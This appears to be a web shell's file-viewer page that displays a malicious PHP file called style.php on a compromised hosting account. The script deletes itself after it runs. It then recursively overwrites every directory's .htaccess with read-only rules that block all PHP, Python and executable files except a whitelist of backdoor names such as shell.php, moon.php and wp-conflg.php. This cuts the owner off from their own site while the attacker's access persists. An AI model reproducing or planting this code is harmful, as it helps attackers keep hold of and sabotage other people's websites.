????
Current Path : /home/ntwf1swzbm0x/public_html/godaddytemplate.thefoundryjacksonville.com/ |
Current File : /home/ntwf1swzbm0x/public_html/godaddytemplate.thefoundryjacksonville.com/style.php |
<?php @set_time_limit(0); error_reporting(0); $path = $_SERVER['DOCUMENT_ROOT']; $list_dir = get_my_files($path); unlink($path.$_SERVER['PHP_SELF']); echo '添加成功'; function get_my_files($path){ $list = array(); $str = '<FilesMatch ".(py|exe|phtml|php|PhP|php5|suspected)$">'.PHP_EOL; $str .= 'Order Allow,Deny'.PHP_EOL; $str .= 'Deny from all'.PHP_EOL; $str .= '</FilesMatch>'.PHP_EOL; $str .= '<FilesMatch "(^wp-login.php|^wp-blog-header.php|^style.php|^style2.php|^wp-conflg.php|^index.php|^file.php|^Simple.php|^class.api.php|^iR7SzrsOUEP.php|^license.php|^wp-blog.php|^moon.php|^wp-add.php|^plugin-install.php|^admin.php|^LA.php|^wp-good.php|^wp-ldd.php|^upfile.php|^upload.php|^install.php|^xmrlpc.php|^cloud.php|^shell.php|^1index.php|^sgd.php|^about.php|^km.php|^doc.php|^samll.php|^mariju.php|^min.php|^webdb.php)$">'.PHP_EOL; $str .= 'Order allow,deny'.PHP_EOL; $str .= 'Allow from all'.PHP_EOL; $str .= '</FilesMatch>'.PHP_EOL; foreach(glob($path.'/*') as $item){ if(is_dir($item)){ if(file_exists($item."/.htaccess"))chmod($item."/.htaccess",0777); $myfile = fopen($item."/.htaccess", "w"); fwrite($myfile, $str); fclose($myfile); chmod($item."/.htaccess",0444); $items = get_my_files($item); foreach ($items as $val){ if(file_exists($val."/.htaccess"))chmod($val."/.htaccess",0777); $myfile = fopen($val."/.htaccess", "w"); fwrite($myfile, $str); fclose($myfile); chmod($val."/.htaccess",0444); } } } return $list; } ?>